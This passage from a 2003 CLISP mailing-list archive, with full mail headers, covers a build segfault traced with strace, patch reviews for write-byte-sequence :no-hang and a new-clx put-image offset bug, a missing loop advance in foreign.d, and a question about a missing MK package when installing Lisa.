software, trying to simplify: wg:root /root/clisp-2.31>./configure --without-readline --without-unicode test4 ... make ... ./lisp.run -B . -N locale -Efile UTF-8 -Eterminal UTF-8 -norc -m 750KW -x "(and (load \"init.lisp\") (sys::%saveinitmem) (ext::exit))" make: *** [interpreted.mem] Segmentation fault First, I welcome ideas about how to debug such things. Here's the direction I went and the strange place it lead: wg:root /root/clisp-2.31/test4>strace -o/tmp/strace ./lisp.run -B . -N locale wg:root /root/clisp-2.31/test4>grep open /tmp/strace trace system calls and see what files it opens on way to segfault open("/etc/ld.so.preload", O_RDONLY) = -1 ENOENT (No such file or directory) open("/etc/ld.so.cache", O_RDONLY) = 4 open("/usr/lib/libreadline.so.3", O_RDONLY) = 4 For some reason still reading libreadline! Any idea why? open("/lib/libncurses.so.5", O_RDONLY) = 4 open("/lib/libdl.so.2", O_RDONLY) = 4 open("/lib/libc.so.6", O_RDONLY) = 4 open("/lib/libtermcap.so.2", O_RDONLY) = 4 open("/lib/libc.so.6", O_RDONLY) = 4 open("/lib/libc.so.6", O_RDONLY) = 4 open("/lib/libc.so.6", O_RDONLY) = 4 open("/lib/libc.so.6", O_RDONLY) = 4 open("/proc/27942/exe", O_RDONLY) = 4 open("/proc/self/maps", O_RDONLY) = 5 open("/proc/self/maps", O_RDONLY) = 5 whereas in 2.27 which works on this machine: wg:root /root>grep open /tmp/strace open("/etc/ld.so.preload", O_RDONLY) = -1 ENOENT (No such file or directory) open("/etc/ld.so.cache", O_RDONLY) = 4 open("/lib/libc.so.6", O_RDONLY) = 4 open("/etc/ld.so.preload", O_RDONLY) = -1 ENOENT (No such file or directory) open("/etc/ld.so.cache", O_RDONLY) = 4 open("/lib/libncurses.so.4", O_RDONLY) = 4 hmmm 2.27 uses .so.4 compared to .31 using .so.5 open("/lib/libdl.so.2", O_RDONLY) = 4 open("/lib/libc.so.6", O_RDONLY) = 4 open("/lib/libc.so.6", O_RDONLY) = 4 open("/lib/libc.so.6", O_RDONLY) = 4 open("/proc/28164/exe", O_RDONLY) = 4 open("/proc/self/maps", O_RDONLY) = 5 open("/usr/local/lib/clisp/base/lispinit.mem", O_RDONLY) = 5 so evidently the .31 crashed before reading lispinit.mem From sds@gnu.org Wed Sep 24 13:48:53 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1A2GZB-0004cq-00 for ; Wed, 24 Sep 2003 13:48:53 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 1A2GZA-0002T5-Vl for clisp-list@lists.sourceforge.net; Wed, 24 Sep 2003 13:48:53 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.6/8.11.6/check_local-4.4) with ESMTP id h8OKmLr23613 for ; Wed, 24 Sep 2003 16:48:22 -0400 (EDT) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: References: <200309182336.h8INak504485@isis.cs3-inc.com> Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold Organization: disorganization Message-ID: User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 Content-Type: text/plain; charset=us-ascii Lines: 54 MIME-Version: 1.0 X-Spam-Score: 0.1 (/) X-Spam-Report: 0.1/5.0 Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 REFERENCES (-0.5 points) Has a valid-looking References header USER_AGENT_GNUS_UA (-0.5 points) User-Agent header indicates a non-spam MUA (Gnus) QUOTED_EMAIL_TEXT (-0.5 points) BODY: Contains what looks like a quoted email text DATE_IN_PAST_96_XX (1.6 points) Date: is 96 hours or more before Received: date Subject: [clisp-list] Re: write-byte-sequence :no-hang Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Sep 24 13:49:14 2003 X-Original-Date: 19 Sep 2003 10:43:57 -0400 > * Don Cohen [2003-09-18 16:36:46 -0700]: > > Below is current diff. The build finishes but > (ext:write-byte-sequence a st :no-hang t) > gives me > *** - WRITE-BYTE-SEQUENCE: illegal keyword/value pair :NO-HANG, T in argument list. > The allowed keywords are (:START :END) > > Can someone tell me what I've missed? > I expected the following to cause the new argument to be recognized. > [in sequence.d] > +LISPFUN(write_byte_sequence,seclass_default,2,0,norest,key,3, > + (kw(start),kw(end),kw(no_hang)) ) > > In particular, this is the same as for read-byte-sequence > but :no-hang is accepted there. "make check-sources" in your build directory should give you a tip. read . if you still have a problem, please do not hesitate to ask again! > --- ./genclisph.d Wed Sep 17 16:48:06 2003 > +++ ../src/genclisph.d Thu Sep 18 12:32:57 2003 > @@ -1486,7 +1486,7 @@ > } > printf("#define VALUES0 do{ value1 = NIL; mv_count = 0; }while(0)\n"); > printf("#define VALUES1(A) do{ value1 = (A); mv_count = 1; }while(0)\n"); > - printf("#define VALUES2(A,B) do{ value1 = (A); value2 = (B); mv_count = 3;}while(0)\n"); > + printf("#define VALUES2(A,B) do{ value1 = (A); value2 = (B); mv_count = 2;}while(0)\n"); > printf("#define VALUES3(A,B,C) do{ value1 = (A); value2 = (B); value3 = (C); mv_count = 3;}while(0)\n"); > printf("#define VALUES_IF(C) do{ value1 = (C) ? T : NIL; mv_count = 1; }while(0)\n"); > printf("#define args_end_pointer STACK\n"); please work against the CVS head. > + } > +#ifdef O_NONBLOCK > + if ( fcntl(fd,F_SETFL,fcntl_flags|O_NONBLOCK) <0) { > + OS_error(); > + } > +#else # older Unices called it O_NDELAY > + if ( fcntl(fd,F_SETFL,fcntl_flags|O_NDELAY) <0) { > + OS_error(); > + } > +#endif > + } please try to indent CPP directives like it is done in the CLISP code. -- Sam Steingold (http://www.podval.org/~sds) running w2k You think Oedipus had a problem -- Adam was Eve's mother. From sds@gnu.org Thu Sep 25 12:31:13 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1A2bpZ-0003HE-00 for ; Thu, 25 Sep 2003 12:31:13 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 1A2bpY-0006gW-6a for clisp-list@lists.sourceforge.net; Thu, 25 Sep 2003 12:31:12 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.6/8.11.6/check_local-4.4) with ESMTP id h8PJUdp06833; Thu, 25 Sep 2003 15:30:39 -0400 (EDT) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: Barry Fishman Cc: clisp-list@lists.sourceforge.net References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 69 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: -1.5 (-) X-Spam-Report: -1.5/5.0 Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 IN_REP_TO (-0.5 points) Has a In-Reply-To header USER_AGENT_GNUS_UA (-0.5 points) User-Agent header indicates a non-spam MUA (Gnus) QUOTED_EMAIL_TEXT (-0.5 points) BODY: Contains what looks like a quoted email text Subject: [clisp-list] Re: [gmane.lisp.clisp.general] Re: Problems with new-clx xlib:put-image Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Sep 25 12:32:02 2003 X-Original-Date: 25 Sep 2003 15:30:39 -0400 > * Barry Fishman [2003-09-25 11:13:22 -0400]: > > > did you see this message on clisp-list? > > >> * Barry Fishman [2003-09-20 08:59:36 -0400]: > >> > >> Since the last CVS code reorganization my calls to xlib:put-image, > >> using the new-clx module, do not seem to display the image correctly. > >> My code works with previous CVS snapshots and with cmu lisp. > > No. I posted to the newsgroup gmane.lisp.clisp.general and have been > looking there. it appears that a bunch of my message to CLISP lists (posted via gmane) have been lost - I re-sent those I could salvage recently. > >> I get the right edge of the gremblin along the left edge of the > >> window, the left edge of the gremblin along the right edge of the > >> window, and just space in-between. > > > did you try other images? > > I did now. When I try a larger image, the images look like it is > shifted to the left with the missing left edge displayed on the right > side of the image, and random dots along the bottom in the wrapped > area. > > Playing with the content of the bitmap file, it seems the data being > displayed starts 4 bytes offset into the ximage. > > I performed the following _ugly_ patch to "modules/clx/new-clx/clx.f" > and the bitmap images seem to be displayed correctly: > > *** clx.c 2003-09-25 11:00:33.000000000 -0400 > --- clx.c-patched 2003-09-25 10:54:37.000000000 -0400 > *************** > *** 6807,6813 **** > /* Now fetch data it *must* be a vector of card8 */ > pushSTACK(STACK_7); funcall (O(object_xlib__image_x_data), 1); > if (simple_bit_vector_p (Atype_8Bit, value1)) { > ! im.data = (char*) &TheSbvector (value1)->data[0]; > } else { > pushSTACK(O(object__28array_20xlib__card8_20_28_2A_29_29)); > pushSTACK(STACK_8); > --- 6807,6813 ---- > /* Now fetch data it *must* be a vector of card8 */ > pushSTACK(STACK_7); funcall (O(object_xlib__image_x_data), 1); > if (simple_bit_vector_p (Atype_8Bit, value1)) { > ! im.data = (char*) &TheSbvector (value1)->data[-4]; > } else { > pushSTACK(O(object__28array_20xlib__card8_20_28_2A_29_29)); > pushSTACK(STACK_8); this is weird. the xbm file has 220 bytes of data. the X image data is 352 bytes long. (to see that, add (format t "data (~S):~%~s~%" (type-of (xlib::image-x-data *gremblin*)) (xlib::image-x-data *gremblin*)) to your MAIN function) do you know whether this is correct? apparently some padding is being done - incorrectly. can you figure out where? thanks! -- Sam Steingold (http://www.podval.org/~sds) running w2k nobody's life, liberty or property are safe while the legislature is in session From roland.averkamp@gmx.de Sun Sep 28 10:10:48 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1A3f4K-0000Ax-00 for ; Sun, 28 Sep 2003 10:10:48 -0700 Received: from mail.gmx.net ([213.165.64.20]) by sc8-sf-mx1.sourceforge.net with smtp (Exim 4.22) id 1A3f4J-0003ZZ-N7 for clisp-list@lists.sourceforge.net; Sun, 28 Sep 2003 10:10:47 -0700 Received: (qmail 13124 invoked by uid 0); 28 Sep 2003 17:09:35 -0000 Received: from 212.144.122.31 by www61.gmx.net with HTTP; Sun, 28 Sep 2003 19:09:35 +0200 (MEST) From: "Roland Averkamp" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Priority: 3 (Normal) X-Authenticated: #10600793 Message-ID: <32251.1064768975@www61.gmx.net> X-Mailer: WWW-Mail 1.6 (Global Message Exchange) X-Flags: 0001 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit X-Spam-Score: 0.7 (/) X-Spam-Report: 0.7/5.0 Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 BANG_MORE (0.7 points) BODY: Talks about more with an exclamation! Subject: [clisp-list] problem with update_library in foreign.d Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Sep 28 10:11:04 2003 X-Original-Date: Sun, 28 Sep 2003 19:09:35 +0200 (MEST) Hello, I think there is a bug in the function update_library in defined in file foreign.d: At the end of the while loop one has to insert lib_list = Cdr(lib_list); otherwise this function(namely the wile loop) does not terminate. Right now if a foreign function is defined with the (:library ...) clause and then an image is saved, calling the foreign function function in a session with this saved image does not terminate, since update_library is called for the library. bye, Roland have a look: /* update the DLL pointer and all related objects acons = (library fpointer object1 object2 ...) */ local void update_library (object acons, uintL version) { var object lib_name = Car(acons); var object lib_addr = Car(Cdr(acons)); /* presumably invalid */ var void *lib_handle = open_library(lib_name,version); TheFpointer(lib_addr)->fp_pointer = lib_handle; mark_fp_valid(TheFpointer(lib_addr)); #if !defined(AMIGAOS) var object lib_list = Cdr(Cdr(acons)); while (consp(lib_list)) { var object fo = Car(lib_list); /* foreign object */ var object fa = foreign_address(fo,false); /* its foreign address */ var gcv_object_t *fn; /* its name */ switch (Record_type(fo)) { case Rectype_Fvariable: fn = &(TheFvariable(fo)->fv_name); break; case Rectype_Ffunction: fn = &(TheFfunction(fo)->ff_name); break; default: NOTREACHED; } ASSERT(eq(TheFaddress(fa)->fa_base,lib_addr)); TheFaddress(fa)->fa_offset = (sintP)object_handle(acons,fn,false) - (sintP)lib_handle; } #endif } -- NEU FÜR ALLE - GMX MediaCenter - für Fotos, Musik, Dateien... Fotoalbum, File Sharing, MMS, Multimedia-Gruß, GMX FotoService Jetzt kostenlos anmelden unter http://www.gmx.net +++ GMX - die erste Adresse für Mail, Message, More! +++ From lisp-clisp-list@m.gmane.org Sun Sep 28 23:08:09 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1A3rCb-0006B1-00 for ; Sun, 28 Sep 2003 23:08:09 -0700 Received: from panoramix.vasoftware.com ([198.186.202.147] helo=externalmx.vasoftware.com ident=mail) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 1A3rCX-0001W6-Oj for clisp-list@lists.sourceforge.net; Sun, 28 Sep 2003 23:08:05 -0700 Received: from main.gmane.org ([80.91.224.249]:33675) by externalmx.vasoftware.com with esmtp (Exim 4.22 #1 (Debian)) id 1A3pDt-0006VR-R5 for ; Sun, 28 Sep 2003 21:01:22 -0700 Received: from root by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 1A3pD1-0003sr-00 for ; Mon, 29 Sep 2003 06:00:27 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from sea.gmane.org ([80.91.224.252]) by main.gmane.org with esmtp (Exim 3.35 #1 (Debian)) id 1A3p0a-0003kx-00 for ; Mon, 29 Sep 2003 05:47:36 +0200 Received: from news by sea.gmane.org with local (Exim 3.35 #1 (Debian)) id 1A3p0a-0002Xs-00 for ; Mon, 29 Sep 2003 05:47:36 +0200 From: "PhiHo Hoang" Lines: 15 Message-ID: X-Complaints-To: usenet@sea.gmane.org X-MSMail-Priority: Normal X-Newsreader: Microsoft Outlook Express 6.00.2800.1106 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 X-EA-Verified: externalmx.vasoftware.com 1A3pDt-0006VR-R5 4342fc351f1de0ac04614876b1987dad X-Spam-Score: 0.5 (/) .include /etc/hostname X-Spam-Score-Int: 5 X-Spam-Score: 0.5 (/) X-Spam-Report: 0.5/5.0 Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 PRIORITY_NO_NAME (0.5 points) Message has priority setting, but no X-Mailer Subject: [clisp-list] Installing Lisa for Clisp on WindowsXP Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Sep 28 23:09:02 2003 X-Original-Date: Sun, 28 Sep 2003 23:47:33 -0400 Hi, Clisp-2.31 was installed to F:\lisp\clisp-2.31. I am trying to install Lisa 2.04 ( http://lisa.sf.net ) and got an error: there is no package with name "MK" Where can I get the MK package. Thanks for your help. PhiHo. From Joerg-Cyril.Hoehle@t-systems.com Mon Sep 29 00:41:56 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1A3sfM-0002X7-00 for ; Mon, 29 Sep 2003 00:41:56 -0700 Received: from mail1.telekom.de ([62.225.183.202]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 1A3sfJ-0001mB-JI for clisp-list@lists.sourceforge.net; Mon, 29 Sep 2003 00:41:53 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP; Mon, 29 Sep 2003 09:40:21 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Mon, 29 Sep 2003 09:40:20 +0200 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE06E5F880@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: phiho.hoang@rogers.com Subject: [clisp-list] Installing Lisa for Clisp on WindowsXP: MK package MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.7 (/) X-Spam-Report: 0.7/5.0 Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 MSG_ID_ADDED_BY_MTA_3 (0.7 points) 'Message-Id' was added by a relay (3) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Sep 29 00:42:06 2003 X-Original-Date: Mon, 29 Sep 2003 09:40:17 +0200 > I am trying to install Lisa 2.04 ( http://lisa.sf.net ) > and got an error: there is no package with name "MK" Probably Mark Kantrowitz' MK-DEFSYSTEM package. It provides the defsystem macro, and load-system etc. functions. You can try to locate one version, or load Lisa's files by hand. I thought that these days people rather preferred the ASDF defsystem utility. Regards, Jorg Hohle. From lisp-clisp-list@m.gmane.org Mon Sep 29 06:23:55 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1A3y0J-0005py-00 for ; Mon, 29 Sep 2003 06:23:55 -0700 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 1A3y09-0004fn-O4 for clisp-list@lists.sourceforge.net; Mon, 29 Sep 2003 06:23:45 -0700 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 1A3xzo-00022m-00 for ; Mon, 29 Sep 2003 15:23:24 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from sea.gmane.org ([80.91.224.252]) by main.gmane.org with esmtp (Exim 3.35 #1 (Debian)) id 1A3xzn-00022c-00 for ; Mon, 29 Sep 2003 15:23:23 +0200 Received: from news by sea.gmane.org with local (Exim 3.35 #1 (Debian)) id 1A3xzn-00082z-00 for ; Mon, 29 Sep 2003 15:23:23 +0200 From: Barry Fishman Lines: 230 Message-ID: References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (gnu/linux) Cancel-Lock: sha1:i0kIwOq7LvNU1Z2UxVmxPrMMa+k= X-Spam-Score: -1.5 (-) X-Spam-Report: -1.5/5.0 Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 USER_AGENT_GNUS_UA (-0.5 points) User-Agent header indicates a non-spam MUA (Gnus) EMAIL_ATTRIBUTION (-0.5 points) BODY: Contains what looks like an email attribution QUOTED_EMAIL_TEXT (-0.5 points) BODY: Contains what looks like a quoted email text Subject: [clisp-list] Re: [gmane.lisp.clisp.general] Re: Problems with new-clx xlib:put-image Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Sep 29 06:24:12 2003 X-Original-Date: Mon, 29 Sep 2003 09:23:00 -0400 Sam Steingold writes: >> * Barry Fishman [2003-09-25 11:13:22 -0400]: >> Playing with the content of the bitmap file, it seems the data being >> displayed starts 4 bytes offset into the ximage. >> ... > > this is weird. > > the xbm file has 220 bytes of data. the X image data is 352 bytes long. > (to see that, add > (format t "data (~S):~%~s~%" (type-of (xlib::image-x-data *gremblin*)) > (xlib::image-x-data *gremblin*)) > to your MAIN function) > do you know whether this is correct? Yes, the size difference is because the line padding is changed from 8 bits to 32, when the file is read into memory. > apparently some padding is being done - incorrectly. > can you figure out where? The data is correct, just 4 bytes off from where TheSvector seems to think it is. I don't know enough about CLISP internal structures to know what is happening. Its hard counting bits, but the following patch to the CLISP 2.31 release code will print out the image (correctly for little-endian XImages) to *standard-output*: ============ PATCH ============== *** clx.f-orig 2003-09-28 11:44:11.000000000 -0400 --- clx.f 2003-09-28 11:41:28.000000000 -0400 *************** *** 4182,4187 **** --- 4182,4210 ---- fehler (error, "Sorry, my implementation of XLIB:PUT-IMAGE is still not complete."); } + /* test function to print the contents of the bitmap */ + void dump_image(XImage *image) + { + char *row; + int x, y; + int height = image->height; + int width = image->width; + int line_len = image->bytes_per_line; + + printf("Dumping image data (%d %d %d):\n", height, width, line_len); + for (y = 0; y < height; y++) { + printf("|"); + row = image->data + (y * line_len); + for (x = 0; x < width; x++) { + if (row[x / 8] & (1 << (x % 8))) + printf("*"); + else + printf(" "); + } + printf("|\n"); + } + } + DEFUN(XLIB:PUT-IMAGE, drawable gcontext image \ &key SRC-X SRC-Y X Y WIDTH HEIGHT BITMAP-P) { /* This is a *VERY* silly implementation. *************** *** 4244,4250 **** /* Now fetch data it *must* be a vector of card8 */ pushSTACK(STACK_7); funcall (`XLIB::IMAGE-X-DATA`, 1); if (simple_bit_vector_p (Atype_8Bit, value1)) { ! im.data = (char*) &TheSbvector (value1)->data[0]; } else { pushSTACK(`(ARRAY XLIB::CARD8 (*))`); pushSTACK(STACK_8); --- 4267,4276 ---- /* Now fetch data it *must* be a vector of card8 */ pushSTACK(STACK_7); funcall (`XLIB::IMAGE-X-DATA`, 1); if (simple_bit_vector_p (Atype_8Bit, value1)) { ! im.data = (char*) &TheSbvector (value1)->data[-4]; /* Was: [0]; */ ! #if 1 ! dump_image(&im); /* Lets look at what we have */ ! #endif } else { pushSTACK(`(ARRAY XLIB::CARD8 (*))`); pushSTACK(STACK_8); ============ END OF patch =========== Sorry, I had problems with attachments before and don't want to test using them now. My test program (which I did not post to the group before) and can also output the lisp image to *standard-output* is: ======= badcase.lisp #! /usr/local/bin/clisp -K full ;;;; badcase.lisp - simple load bitmap into window ;;;; $Id: badcase.lisp,v 1.3 2003/09/27 20:35:12 barry Exp $ ;;;; Commentary ;;; Simple hack to load a bitmap into a window using an XImage. #+:cmu (require :clx) #+:cmu (defvar *ARGS* nil) ;(load "clx-fix") ;;; Keep general x connection info global (defparameter *display* nil "X11 Display object when connection is active.") (defparameter *screen* nil "X11 Screen object when connection is active.") (defparameter *root* nil "Root window on display when connection is active.") (defparameter *gremblin* nil "Image displayed in window") (defun open-x-display () "Open default \":0.0\" display" (setf *display* (xlib:open-display "" :display 0)) (setf *screen* (car (xlib:display-roots *display*))) (setf *root* (xlib:screen-root *screen*)) (unless *root* (error "Failed to open display~%")) *root*) (defun close-x-display () (xlib:close-display *display*) (setf *display* nil)) (defun show-image (win gcon image) "Display image. Called on exposure events." ;; (format t "-- Exposure --~%") (xlib:put-image win gcon image :x 0 :y 0 :width (xlib:image-width image) :height (xlib:image-height image) :bitmap-p t) (xlib:display-force-output *display*)) (defun handle-events (refresh-image) "Process events, passing function to refresh image on window" (xlib:event-case (*display*) (:button-press (code window) (case code (3 t))) (:selection-notify (window selection target property) nil) (:key-press (code window) (case (xlib:keycode->keysym *display* code 0) ;; 'q' keycode causes exit (#o161 t))) (:exposure (count window) (if (= 0 count) (funcall refresh-image window)) nil) )) (defun dump-data (image) "Dump pixmap data as grid" (let ((data (xlib::image-x-data image)) (width (xlib:image-width image)) (height (xlib:image-height image)) (bytes-per-line (xlib::image-x-bytes-per-line image))) (format t "Bitmap :width ~A :height ~A :bytes-per-line ~A~%" width height bytes-per-line) (dotimes (yc height) (format t "|") (let ((rowpos (* bytes-per-line yc))) (dotimes (xc width) (multiple-value-bind (byte-offset bit-offset) (floor xc 8) (format t "~A" (if (/= (logand (aref data (+ rowpos byte-offset)) (expt 2 bit-offset)) 0) "*" " "))))) (format t "|~%")))) (defun main () "Say using via-voice whatever pasted in its window." ;; Read in background image (let ((bmfile (or (car *args*) "gremblin.xbm"))) (setf *gremblin* (or (xlib:read-bitmap-file bmfile) (error "Cannot read bitmap file: ~A~%" bmfile)))) (format t "~A~%" *gremblin*) ; (format t "data (~S):~%~s~%" (type-of (xlib::image-x-data *gremblin*)) ; (xlib::image-x-data *gremblin*)) ; (dump-data *gremblin*) (open-x-display) ;; Set up background pixmap (let* ((width (xlib:image-width *gremblin*)) (height (xlib:image-height *gremblin*)) (black-pixel (xlib:screen-black-pixel *screen*)) (win (xlib:create-window :parent *root* :x 10 :y 10 :width width :height height :background black-pixel :event-mask '(:button-press :key-press :exposure))) ;; Try for an appropriate color (color (xlib:alloc-color (xlib:window-colormap win) "Light Green")) (gcon (xlib:create-gcontext :drawable win :foreground color))) (setf (xlib:wm-name win) "Gremblin") (xlib:map-window win) (xlib:display-finish-output *display*) ;; Process event loop (handle-events (lambda (win) (show-image win gcon *gremblin*))) ;; Done (xlib:unmap-window win) (xlib:destroy-window win)) (close-x-display)) #-cmu (main) ======== END OF badcase.lisp ====== From sds@gnu.org Mon Sep 29 07:42:45 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1A3zEb-0007UU-00 for ; Mon, 29 Sep 2003 07:42:45 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 1A3zEW-0006Q8-UY for clisp-list@lists.sourceforge.net; Mon, 29 Sep 2003 07:42:41 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.6/8.11.6/check_local-4.4) with ESMTP id h8TEPHU05943 for ; Mon, 29 Sep 2003 10:25:17 -0400 (EDT) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: clisp-list@lists.sourceforge.net References: Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 19 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: -2.5 (--) X-Spam-Report: -2.5/5.0 Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 IN_REP_TO (-0.5 points) Has a In-Reply-To header REFERENCES (-0.5 points) Has a valid-looking References header USER_AGENT_GNUS_UA (-0.5 points) User-Agent header indicates a non-spam MUA (Gnus) QUOTED_EMAIL_TEXT (-0.5 points) BODY: Contains what looks like a quoted email text REPLY_WITH_QUOTES (-0.5 points) Reply with quoted text Subject: [clisp-list] Re: Installing Lisa for Clisp on WindowsXP Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Sep 29 07:44:49 2003 X-Original-Date: 29 Sep 2003 10:25:17 -0400 > * PhiHo Hoang [2003-09-28 23:47:33 -0400]: > > Clisp-2.31 was installed to F:\lisp\clisp-2.31. > > I am trying to install Lisa 